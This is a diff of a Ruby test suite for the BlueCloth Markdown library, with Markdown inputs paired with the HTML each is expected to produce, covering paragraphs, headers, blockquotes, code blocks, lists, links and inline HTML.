    ->>> - -# Para plus code block (literal tab, no colon) -<<< -This is a chunk of code - - some.code > some.other_code - -Some stuff. ---- Should become: -

    This is a chunk of code

    - -
    some.code > some.other_code
    -
    - -

    Some stuff.

    ->>> - -# Para plus code block (tab-width spaces) -<<< -This is a chunk of code: - - some.code > some.other_code - -Some stuff. ---- Should become: -

    This is a chunk of code:

    - -
    some.code > some.other_code
    -
    - -

    Some stuff.

    ->>> - -# Para plus code block (tab-width spaces, no colon) -<<< -This is a chunk of code - - some.code > some.other_code - -Some stuff. ---- Should become: -

    This is a chunk of code

    - -
    some.code > some.other_code
    -
    - -

    Some stuff.

    ->>> - -# Colon with preceeding space -<<< -A regular paragraph, without a colon. : - - This is a code block. - -Some stuff. ---- Should become: -

    A regular paragraph, without a colon. :

    - -
    This is a code block.
    -
    - -

    Some stuff.

    ->>> - -# Single colon -<<< -: - - some.code > some.other_code - -Some stuff. ---- Should become: -

    :

    - -
    some.code > some.other_code
    -
    - -

    Some stuff.

    ->>> - -# Preserve leading whitespace (Bug #541) -<<< -Examples: - - # (Waste character because first line is flush left !!!) - # Example script1 - x = 1 - x += 1 - puts x - -Some stuff. ---- Should become: -

    Examples:

    - -
          # (Waste character because first line is flush left !!!)
    -      # Example script1
    -      x = 1
    -      x += 1
    -      puts x
    -
    - -

    Some stuff.

    ->>> - - -### [Horizontal Rules] - -# Hrule 1 -<<< -* * * ---- Should become: -
    ->>> - -# Hrule 2 -<<< -*** ---- Should become: -
    ->>> - -# Hrule 3 -<<< -***** ---- Should become: -
    ->>> - -# Hrule 4 -<<< -- - - ---- Should become: -
    ->>> - -# Hrule 5 -<<< ---------------------------------------- ---- Should become: -
    ->>> - - -### [Titles] - -# setext-style h1 -<<< -Title Text -= ---- Should become: -

    Title Text

    ->>> - -<<< -Title Text -=== ---- Should become: -

    Title Text

    ->>> - -<<< -Title Text -========== ---- Should become: -

    Title Text

    ->>> - -# setext-style h2 -<<< -Title Text -- ---- Should become: -

    Title Text

    ->>> - -<<< -Title Text ---- ---- Should become: -

    Title Text

    ->>> - -<<< -Title Text ----------- ---- Should become: -

    Title Text

    ->>> - -# ATX-style h1 -<<< -# Title Text ---- Should become: -

    Title Text

    ->>> - -<<< -# Title Text # ---- Should become: -

    Title Text

    ->>> - -<<< -# Title Text ### ---- Should become: -

    Title Text

    ->>> - -<<< -# Title Text ##### ---- Should become: -

    Title Text

    ->>> - -# ATX-style h2 -<<< -## Title Text ---- Should become: -

    Title Text

    ->>> - -<<< -## Title Text # ---- Should become: -

    Title Text

    ->>> - -<<< -## Title Text ### ---- Should become: -

    Title Text

    ->>> - -<<< -## Title Text ##### ---- Should become: -

    Title Text

    ->>> - -# ATX-style h3 -<<< -### Title Text ---- Should become: -

    Title Text

    ->>> - -<<< -### Title Text # ---- Should become: -

    Title Text

    ->>> - -<<< -### Title Text ### ---- Should become: -

    Title Text

    ->>> - -<<< -### Title Text ##### ---- Should become: -

    Title Text

    ->>> - -# ATX-style h4 -<<< -#### Title Text ---- Should become: -

    Title Text

    ->>> - -<<< -#### Title Text # ---- Should become: -

    Title Text

    ->>> - -<<< -#### Title Text ### ---- Should become: -

    Title Text

    ->>> - -<<< -#### Title Text ##### ---- Should become: -

    Title Text

    ->>> - -# ATX-style h5 -<<< -##### Title Text ---- Should become: -
    Title Text
    ->>> - -<<< -##### Title Text # ---- Should become: -
    Title Text
    ->>> - -<<< -##### Title Text ### ---- Should become: -
    Title Text
    ->>> - -<<< -##### Title Text ##### ---- Should become: -
    Title Text
    ->>> - -# ATX-style h6 -<<< -###### Title Text ---- Should become: -
    Title Text
    ->>> - -<<< -###### Title Text # ---- Should become: -
    Title Text
    ->>> - -<<< -###### Title Text ### ---- Should become: -
    Title Text
    ->>> - -<<< -###### Title Text ##### ---- Should become: -
    Title Text
    ->>> - - -### [Blockquotes] - -# Regular 1-level blockquotes -<<< -> Email-style angle brackets -> are used for blockquotes. ---- Should become: -
    -

    Email-style angle brackets - are used for blockquotes.

    -
    ->>> - -# Doubled blockquotes -<<< -> > And, they can be nested. ---- Should become: -
    -
    -

    And, they can be nested.

    -
    -
    ->>> - -# Nested blockquotes -<<< -> Email-style angle brackets -> are used for blockquotes. - -> > And, they can be nested. ---- Should become: -
    -

    Email-style angle brackets - are used for blockquotes.

    - -
    -

    And, they can be nested.

    -
    -
    ->>> - -# Lazy blockquotes -<<< -> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, -consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. -Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. - -> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse -id sem consectetuer libero luctus adipiscing. ---- Should become: -
    -

    This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, - consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. - Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

    - -

    Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse - id sem consectetuer libero luctus adipiscing.

    -
    ->>> - - -# Blockquotes containing other markdown elements -<<< -> ## This is a header. -> -> 1. This is the first list item. -> 2. This is the second list item. -> -> Here's some example code: -> -> return shell_exec("echo $input | $markdown_script"); ---- Should become: -
    -

    This is a header.

    - -
      -
    1. This is the first list item.
    2. -
    3. This is the second list item.
    4. -
    - -

    Here's some example code:

    - -
    return shell_exec("echo $input | $markdown_script");
    -
    -
    ->>> - -# Blockquotes with a
     section
    -<<<
    -> The best approximation of the problem is the following code:
    ->
    -> 
    -> foo + bar; foo.factorize; foo.display
    -> 
    -> -> This should result in an error on any little-endian platform. ---- Should become: -
    -

    The best approximation of the problem is the following code:

    - -
    -foo + bar; foo.factorize; foo.display
    -
    - -

    This should result in an error on any little-endian platform.

    -
    ->>> - - - -### [Images] - -# Inline image with title -<<< -![alt text](/path/img.jpg "Title") ---- Should become: -

    alt text

    ->>> - -# Inline image with title (single-quotes) -<<< -![alt text](/path/img.jpg 'Title') ---- Should become: -

    alt text

    ->>> - -# Inline image with title (with embedded quotes) -<<< -![alt text](/path/img.jpg 'The "Title" Image') ---- Should become: -

    alt text

    ->>> - -# Inline image without title -<<< -![alt text](/path/img.jpg) ---- Should become: -

    alt text

    ->>> - -# Inline image with quoted alt text -<<< -![the "alt text"](/path/img.jpg) ---- Should become: -

    the "alt text"

    ->>> - - -# Reference image -<<< -![alt text][id] - -[id]: /url/to/img.jpg "Title" ---- Should become: -

    alt text

    ->>> - - - -### [Emphasis] - -# Emphasis () with asterisks -<<< -Use *single splats* for emphasis. ---- Should become: -

    Use single splats for emphasis.

    ->>> - -# Emphasis () with underscores -<<< -Use *underscores* for emphasis. ---- Should become: -

    Use underscores for emphasis.

    ->>> - -# Strong emphasis () with asterisks -<<< -Use **double splats** for more emphasis. ---- Should become: -

    Use double splats for more emphasis.

    ->>> - -# Strong emphasis () with underscores -<<< -Use __doubled underscores__ for more emphasis. ---- Should become: -

    Use doubled underscores for more emphasis.

    ->>> - -# Combined emphasis types 1 -<<< -Use *single splats* or _single unders_ for normal emphasis. ---- Should become: -

    Use single splats or single unders for normal emphasis.

    ->>> - -# Combined emphasis types 2 -<<< -Use _single unders_ for normal emphasis -or __double them__ for strong emphasis. ---- Should become: -

    Use single unders for normal emphasis -or double them for strong emphasis.

    ->>> - -# Emphasis containing escaped metachars -<<< -You can include literal *\*splats\** by escaping them. ---- Should become: -

    You can include literal *splats* by escaping them.

    ->>> - -# Two instances of asterisked emphasis on one line -<<< -If there's *two* splatted parts on a *single line* it should still work. ---- Should become: -

    If there's two splatted parts on a single line it should still work.

    ->>> - -# Two instances of double asterisked emphasis on one line -<<< -This **doubled** one should **work too**. ---- Should become: -

    This doubled one should work too.

    ->>> - -# Two instances of underscore emphasis on one line -<<< -If there's _two_ underbarred parts on a _single line_ it should still work. ---- Should become: -

    If there's two underbarred parts on a single line it should still work.

    ->>> - -# Two instances of doubled underscore emphasis on one line -<<< -This __doubled__ one should __work too__. ---- Should become: -

    This doubled one should work too.

    ->>> - -# Initial emphasis (asterisk) -<<< -*Something* like this should be bold. ---- Should become: -

    Something like this should be bold.

    ->>> - -# Initial emphasis (underscore) -<<< -_Something_ like this should be bold. ---- Should become: -

    Something like this should be bold.

    ->>> - -# Initial strong emphasis (asterisk) -<<< -**Something** like this should be bold. ---- Should become: -

    Something like this should be bold.

    ->>> - -# Initial strong emphasis (underscore) -<<< -__Something__ like this should be bold. ---- Should become: -

    Something like this should be bold.

    ->>> - -# Partial-word emphasis (Bug #568) -<<< -**E**xtended **TURN** ---- Should become: -

    Extended TURN

    ->>> - - - -### [Links] - -# Inline link, no title -<<< -An [example](http://url.com/). ---- Should become: -

    An example.

    ->>> - -# Inline link with title -<<< -An [example](http://url.com/ "Check out url.com!"). ---- Should become: -

    An example.

    ->>> - -# Reference-style link, no title -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ ---- Should become: -

    An example reference-style link.

    ->>> - -# Reference-style link with quoted title -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ "Check out our air." ---- Should become: -

    An example reference-style link.

    ->>> - -# Reference-style link with paren title -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ (Check out our air.) ---- Should become: -

    An example reference-style link.

    ->>> - -# Reference-style link with one of each (hehe) -<<< -An [example][ex] reference-style link. - -[ex]: http://www.bluefi.com/ "Check out our air.) ---- Should become: -

    An example reference-style link.

    ->>> - -" <- For syntax highlighting - -# Reference-style link with intervening space -<<< -You can split the [linked part] [ex] from -the reference part with a single space. - -[ex]: http://www.treefrog.com/ "for some reason" ---- Should become: -

    You can split the linked part from -the reference part with a single space.

    ->>> - -# Reference-style link with intervening space -<<< -You can split the [linked part] - [ex] from the reference part -with a newline in case your editor wraps it there, I guess. - -[ex]: http://www.treefrog.com/ ---- Should become: -

    You can split the linked part from the reference part -with a newline in case your editor wraps it there, I guess.

    ->>> - -# Reference-style anchors -<<< -I get 10 times more traffic from [Google] [1] than from -[Yahoo] [2] or [MSN] [3]. - - [1]: http://google.com/ "Google" - [2]: http://search.yahoo.com/ "Yahoo Search" - [3]: http://search.msn.com/ "MSN Search" ---- Should become: -

    I get 10 times more traffic from Google than from -Yahoo or MSN.

    ->>> - -# Implicit name-link shortcut anchors -<<< -I get 10 times more traffic from [Google][] than from -[Yahoo][] or [MSN][]. - - [google]: http://google.com/ "Google" - [yahoo]: http://search.yahoo.com/ "Yahoo Search" - [msn]: http://search.msn.com/ "MSN Search" ---- Should become: -

    I get 10 times more traffic from Google than from -Yahoo or MSN.

    ->>> - -# Inline anchors -<<< -I get 10 times more traffic from [Google](http://google.com/ "Google") -than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or -[MSN](http://search.msn.com/ "MSN Search"). ---- Should become: -

    I get 10 times more traffic from Google -than from Yahoo or -MSN.

    ->>> - -# Graceful fail for unclosed brackets (and bug #524) -<<< -This is just a [bracket opener; it should fail gracefully. ---- Should become: -

    This is just a [bracket opener; it should fail gracefully.

    ->>> - -# Unresolved reference-style links (Bug #620) -<<< -This is an unresolved [url][1]. ---- Should become: -

    This is an unresolved [url][1].

    ->>> - - -### [Auto-links] - -# Plain HTTP link -<<< -This is a reference to . You should follow it. ---- Should become: -

    This is a reference to http://www.FaerieMUD.org/. You should follow it.

    ->>> - -# FTP link -<<< -Why not download your very own chandelier from ? ---- Should become: -

    Why not download your very own chandelier from ftp://ftp.usuc.edu/pub/foof/mir/?

    ->>> - - -### [Lists] - -# Unordered list -<<< -* Red -* Green -* Blue ---- Should become: -
      -
    • Red
    • -
    • Green
    • -
    • Blue
    • -
    ->>> - -# Unordered list w/alt bullets -<<< -- Red -- Green -- Blue ---- Should become: -
      -
    • Red
    • -
    • Green
    • -
    • Blue
    • -
    ->>> - -# Unordered list w/alt bullets 2 -<<< -+ Red -+ Green -+ Blue ---- Should become: -
      -
    • Red
    • -
    • Green
    • -
    • Blue
    • -
    ->>> - -# Unordered list w/mixed bullets -<<< -+ Red -- Green -* Blue ---- Should become: -
      -
    • Red
    • -
    • Green
    • -
    • Blue
    • -
    ->>> - -# Ordered list -<<< -1. Bird -2. McHale -3. Parish ---- Should become: -
      -
    1. Bird
    2. -
    3. McHale
    4. -
    5. Parish
    6. -
    ->>> - -# Ordered list, any numbers -<<< -1. Bird -1. McHale -1. Parish ---- Should become: -
      -
    1. Bird
    2. -
    3. McHale
    4. -
    5. Parish
    6. -
    ->>> - -# Ordered list, any numbers 2 -<<< -3. Bird -1. McHale -8. Parish ---- Should become: -
      -
    1. Bird
    2. -
    3. McHale
    4. -
    5. Parish
    6. -
    ->>> - -# Hanging indents -<<< -* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. - Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, - viverra nec, fringilla in, laoreet vitae, risus. -* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. - Suspendisse id sem consectetuer libero luctus adipiscing. ---- Should become: -
      -
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. -Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, -viverra nec, fringilla in, laoreet vitae, risus.
    • -
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. -Suspendisse id sem consectetuer libero luctus adipiscing.
    • -
    ->>> - -# Lazy indents -<<< -* Lorem ipsum dolor sit amet, consectetuer adipiscing elit. -Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, -viverra nec, fringilla in, laoreet vitae, risus. -* Donec sit amet nisl. Aliquam semper ipsum sit amet velit. -Suspendisse id sem consectetuer libero luctus adipiscing. ---- Should become: -
      -
    • Lorem ipsum dolor sit amet, consectetuer adipiscing elit. -Aliquam hendrerit mi posuere lectus. Vestibulum enim wisi, -viverra nec, fringilla in, laoreet vitae, risus.
    • -
    • Donec sit amet nisl. Aliquam semper ipsum sit amet velit. -Suspendisse id sem consectetuer libero luctus adipiscing.
    • -
    ->>> - -# Paragraph wrapped list items -<<< -* Bird - -* Magic ---- Should become: -
      -
    • Bird

    • -
    • Magic

    • -
    ->>> - -# Multi-paragraph list items -<<< -1. This is a list item with two paragraphs. Lorem ipsum dolor - sit amet, consectetuer adipiscing elit. Aliquam hendrerit - mi posuere lectus. - - Vestibulum enim wisi, viverra nec, fringilla in, laoreet - vitae, risus. Donec sit amet nisl. Aliquam semper ipsum - sit amet velit. - -2. Suspendisse id sem consectetuer libero luctus adipiscing. ---- Should become: -
      -
    1. This is a list item with two paragraphs. Lorem ipsum dolor -sit amet, consectetuer adipiscing elit. Aliquam hendrerit -mi posuere lectus.

      - -

      Vestibulum enim wisi, viverra nec, fringilla in, laoreet -vitae, risus. Donec sit amet nisl. Aliquam semper ipsum -sit amet velit.

    2. -
    3. Suspendisse id sem consectetuer libero luctus adipiscing.

    4. -
    ->>> - -# Lazy multi-paragraphs -<<< -* This is a list item with two paragraphs. - - This is the second paragraph in the list item. You're -only required to indent the first line. Lorem ipsum dolor -sit amet, consectetuer adipiscing elit. - -* Another item in the same list. ---- Should become: -
      -
    • This is a list item with two paragraphs.

      - -

      This is the second paragraph in the list item. You're -only required to indent the first line. Lorem ipsum dolor -sit amet, consectetuer adipiscing elit.

    • -
    • Another item in the same list.

    • -
    ->>> - -# Blockquote in list item -<<< -* A list item with a blockquote: - - > This is a blockquote - > inside a list item. ---- Should become: -
      -
    • A list item with a blockquote:

      - -
      -

      This is a blockquote - inside a list item.

      -
    • -
    ->>> - -# Code block in list item -<<< -* A list item with a code block: - - ---- Should become: -
      -
    • A list item with a code block:

      - -
      <code goes here>
      -
    • -
    ->>> - -# Backslash-escaped number-period-space -<<< -1986\. What a great season. ---- Should become: -

    1986. What a great season.

    ->>> - +#!/usr/bin/ruby +# +# Test case for BlueCloth Markdown transforms. +# $Id: 05_Markdown.tests.rb,v 1.1 2005/01/07 23:01:51 alexeyv Exp $ +# +# Copyright (c) 2004 The FaerieMUD Consortium. +# + +if !defined?( BlueCloth ) || !defined?( BlueCloth::TestCase ) + basedir = File::dirname( __FILE__ ) + require File::join( basedir, 'bctestcase' ) +end + + +### This test case tests ... +class SubfunctionsTestCase < BlueCloth::TestCase + + ### Test email address output + Emails = %w[ + address@example.com + foo-list-admin@bar.com + fu@bar.COM + baz@ruby-lang.org + foo-tim-bazzle@bar-hop.co.uk + littlestar@twinkle.twinkle.band.CO.ZA + ll@lll.lllll.ll + Ull@Ulll.Ulllll.ll + UUUU1@UU1.UU1UUU.UU + l@ll.ll + Ull.Ullll@llll.ll + Ulll-Ull.Ulllll@ll.ll + 1@111.ll + ] + # I can't see a way to handle IDNs clearly yet, so these will have to wait. + # info@öko.de + # jemand@büro.de + # irgendwo-interreßant@dÅgta.se + #] + + def test_10_email_address + printTestHeader "BlueCloth: Inline email address" + rval = match = nil + + Emails.each {|addr| + assert_nothing_raised { + rval = BlueCloth::new( "<#{addr}>" ).to_html + } + + match = %r{

    [^<]+

    }.match( rval ) + assert_not_nil match, "Match against output #{rval}" + assert_equal "mailto:#{addr}", decode( match[1] ) + } + end + + + def decode( str ) + str.gsub( /&#(x[a-f0-9]+|\d{3});/i ) {|match| + code = $1 + debugMsg "Decoding %p" % code + + case code + when /^x([a-f0-9]+)/i + debugMsg " (hex) = %p" % $1.to_i(16).chr + $1.to_i(16).chr + when /\d{3}/ + debugMsg " (oct) = %p" % code.to_i.chr + code.to_i.chr + else + raise "Hmmm... malformed entity %p" % code + end + } + end + + + + ################################################################# + ### A U T O - G E N E R A T E D T E S T S + ################################################################# + + # Parse the data section into a hash of test specifications + TestSets = {} + begin + seenEnd = false + inMetaSection = true + inInputSection = true + section, description, input, output = '', '', '', '' + linenum = 0 + + # Read this file, skipping lines until the __END__ token. Then start + # reading the tests. + File::foreach( __FILE__ ) {|line| + linenum += 1 + if /^__END__/ =~ line then seenEnd = true; next end + debugMsg "#{linenum}: #{line.chomp}" + next unless seenEnd + + # Start off in the meta section, which has sections and + # descriptions. + if inMetaSection + + case line + + # Left angles switch into data section for the current section + # and description. + when /^<< linenum, + :sets => [], + } + + end + + # Data section has input and expected output parts + else + + case line + + # Right angles terminate a data section, at which point we + # should have enough data to add a test. + when /^>>>/ + TestSets[ section ][ description ][:sets] << [ input.chomp, output.chomp ] + + inMetaSection = true + inInputSection = true + input = ''; output = '' + + # 3-Dashed divider with text divides input from output + when /^--- (.+)/ + inInputSection = false + + # Anything else adds to either input or output + else + if inInputSection + input += line + else + output += line + end + end + end + } + end + + debugMsg "Test sets: %p" % TestSets + + # Auto-generate tests out of the test specifications + TestSets.each {|sname, section| + + # Generate a test method for each section + section.each do |desc, test| + methname = "test_%03d_%s" % + [ test[:line], desc.gsub(/\W+/, '_').downcase ] + + # Header + code = %{ + def #{methname} + printTestHeader "BlueCloth: #{desc}" + rval = nil + } + + # An assertion for each input/output pair + test[:sets].each {|input, output| + code << %{ + assert_nothing_raised { + obj = BlueCloth::new(%p) + rval = obj.to_html + } + assert_equal %p, rval + + } % [ input, output ] + } + + code << %{ + end + } + + + debugMsg "--- %s [%s]:\n%s\n---\n" % [sname, desc, code] + eval code + end + + } + +end + + +__END__ + +### [Paragraphs and Line Breaks] + +# Paragraphs +<<< +This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines. + +And this is a another +one. +--- Should become: +

    This is some stuff that should all be +put in one paragraph +even though +it occurs over several lines.

    + +

    And this is a another +one.

    +>>> + +# Line breaks +<<< +Mostly the same kind of thing +with two spaces at the end +of each line +should result in +line breaks, though. + +And this is a another +one. +--- Should become: +

    Mostly the same kind of thing
    +with two spaces at the end
    +of each line
    +should result in
    +line breaks, though.

    + +

    And this is a another
    +one.

    +>>> + +# Escaping special characters +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of named entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of decimal-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Preservation of hex-encoded entities +<<< +The left shift operator, which is written as <<, is often used & greatly admired. +--- Should become: +

    The left shift operator, which is written as <<, is often used & greatly admired.

    +>>> + +# Inline HTML - table tags +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Inline HTML - div tags +<<< +This is a regular paragraph. + +
    + Something +
    +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + Something +
    + +

    Something else.

    +>>> + + +# Inline HTML - Plain HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Fancy HR +<<< +This is a regular paragraph. + +
    + +Something else. +--- Should become: +

    This is a regular paragraph.

    + +
    + +

    Something else.

    +>>> + + +# Inline HTML - Iframe +<<< +This is a regular paragraph. + + + +Something else. +--- Should become: +

    This is a regular paragraph.

    + + + +

    Something else.

    +>>> + + +# Inline HTML - mathml +<<< +Examples +-------- + +Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be: + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure. + +--- Should become: +

    Examples

    + +

    Now that we have met some of the key players, it is time to see what we can +do. Here are some examples and comments which illustrate the use of the basic +layout and token elements. Consider the expression x2 + 4x + 4 = 0. A basic +MathML presentation encoding for this would be:

    + + + + + x + 2 + + + + 4 + x + + + 4 + = + 0 + + + +

    This encoding will display as you would expect. However, if we were interested +in reusing this expression in unknown situations, we would likely want to spend +a little more effort analyzing and encoding the logical expression structure.

    +>>> + + +# Span-level HTML +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + +# Inline HTML (Case-sensitivity) +<<< +This is a regular paragraph. + + + + + +
    Foo
    + +This is another regular paragraph. +--- Should become: +

    This is a regular paragraph.

    + + + + + +
    Foo
    + +

    This is another regular paragraph.

    +>>> + +# Span-level HTML (Case-sensitivity) +<<< +This is some stuff with a spanned bit of text in +it. And this *should* be a bit of deleted text which should be +preserved, and part of it emphasized. +--- Should become: +

    This is some stuff with a spanned bit of text in +it. And this should be a bit of deleted text which should be +preserved, and part of it emphasized.

    +>>> + + + +### [Code spans] + +# Single backtick +<<< +Making `code` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Literal backtick with doubling +<<< +Making `` `code` `` work for you +--- Should become: +

    Making `code` work for you

    +>>> + +# Many repetitions +<<< +Making `````code````` work for you +--- Should become: +

    Making code work for you

    +>>> + +# Two in a row +<<< +This `thing` should be `two` spans. +--- Should become: +

    This thing should be two spans.

    +>>> + +# At the beginning of a newline +<<< +I should think that the +`tar` command would be universal. +--- Should become: +

    I should think that the +tar command would be universal.

    +>>> + +# Entity escaping +<<< +The left angle-bracket (`<`) can also be written as a decimal-encoded +(`<`) or hex-encoded (`<`) entity. +--- Should become: +

    The left angle-bracket (&lt;) can also be written as a decimal-encoded +(&#060;) or hex-encoded (&#x3c;) entity.

    +>>> + +# At the beginning of a document (Bug #525) +<<< +`world` views +--- Should become: +

    world views

    +>>> + + + + +### [Code blocks] + +# Para plus code block (literal tab) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (literal tab, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces) +<<< +This is a chunk of code: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code:

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Para plus code block (tab-width spaces, no colon) +<<< +This is a chunk of code + + some.code > some.other_code + +Some stuff. +--- Should become: +

    This is a chunk of code

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Colon with preceeding space +<<< +A regular paragraph, without a colon. : + + This is a code block. + +Some stuff. +--- Should become: +

    A regular paragraph, without a colon. :

    + +
    This is a code block.
    +
    + +

    Some stuff.

    +>>> + +# Single colon +<<< +: + + some.code > some.other_code + +Some stuff. +--- Should become: +

    :

    + +
    some.code > some.other_code
    +
    + +

    Some stuff.

    +>>> + +# Preserve leading whitespace (Bug #541) +<<< +Examples: + + # (Waste character because first line is flush left !!!) + # Example script1 + x = 1 + x += 1 + puts x + +Some stuff. +--- Should become: +

    Examples:

    + +
          # (Waste character because first line is flush left !!!)
    +      # Example script1
    +      x = 1
    +      x += 1
    +      puts x
    +
    + +

    Some stuff.

    +>>> + + +### [Horizontal Rules] + +# Hrule 1 +<<< +* * * +--- Should become: +
    +>>> + +# Hrule 2 +<<< +*** +--- Should become: +
    +>>> + +# Hrule 3 +<<< +***** +--- Should become: +
    +>>> + +# Hrule 4 +<<< +- - - +--- Should become: +
    +>>> + +# Hrule 5 +<<< +--------------------------------------- +--- Should become: +
    +>>> + + +### [Titles] + +# setext-style h1 +<<< +Title Text += +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +=== +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +========== +--- Should become: +

    Title Text

    +>>> + +# setext-style h2 +<<< +Title Text +- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +--- +--- Should become: +

    Title Text

    +>>> + +<<< +Title Text +---------- +--- Should become: +

    Title Text

    +>>> + +# ATX-style h1 +<<< +# Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +# Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h2 +<<< +## Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +## Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h3 +<<< +### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h4 +<<< +#### Title Text +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text # +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ### +--- Should become: +

    Title Text

    +>>> + +<<< +#### Title Text ##### +--- Should become: +

    Title Text

    +>>> + +# ATX-style h5 +<<< +##### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +##### Title Text ##### +--- Should become: +
    Title Text
    +>>> + +# ATX-style h6 +<<< +###### Title Text +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text # +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ### +--- Should become: +
    Title Text
    +>>> + +<<< +###### Title Text ##### +--- Should become: +
    Title Text
    +>>> + + +### [Blockquotes] + +# Regular 1-level blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    +
    +>>> + +# Doubled blockquotes +<<< +> > And, they can be nested. +--- Should become: +
    +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Nested blockquotes +<<< +> Email-style angle brackets +> are used for blockquotes. + +> > And, they can be nested. +--- Should become: +
    +

    Email-style angle brackets + are used for blockquotes.

    + +
    +

    And, they can be nested.

    +
    +
    +>>> + +# Lazy blockquotes +<<< +> This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, +consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. +Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus. + +> Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse +id sem consectetuer libero luctus adipiscing. +--- Should become: +
    +

    This is a blockquote with two paragraphs. Lorem ipsum dolor sit amet, + consectetuer adipiscing elit. Aliquam hendrerit mi posuere lectus. + Vestibulum enim wisi, viverra nec, fringilla in, laoreet vitae, risus.

    + +

    Donec sit amet nisl. Aliquam semper ipsum sit amet velit. Suspendisse + id sem consectetuer libero luctus adipiscing.

    +
    +>>> + + +# Blockquotes containing other markdown elements +<<< +> ## This is a header. +> +> 1. This is the first list item. +> 2. This is the second list item. +> +> Here's some example code: +> +> return shell_exec("echo $input | $markdown_script"); +--- Should become: +
    +

    This is a header.

    + +
      +
    1. This is the first list item.
    2. +
    3. This is the second list item.
    4. +
    + +

    Here's some example code:

    + +
    return shell_exec("echo $input | $markdown_script");
    +
    +
    +>>> + +# Blockquotes with a
     section
    +<<<
    +> The best approximation of the problem is the following code:
    +>
    +> 
    +> foo + bar; foo.factorize; foo.display
    +> 
    +> +> This should result in an error on any little-endian platform. +--- Should become: +
    +

    The best approximation of the problem is the following code:

    + +
    +foo + bar; foo.factorize; foo.display
    +
    + +

    This should result in an error on any little-endian platform.

    +
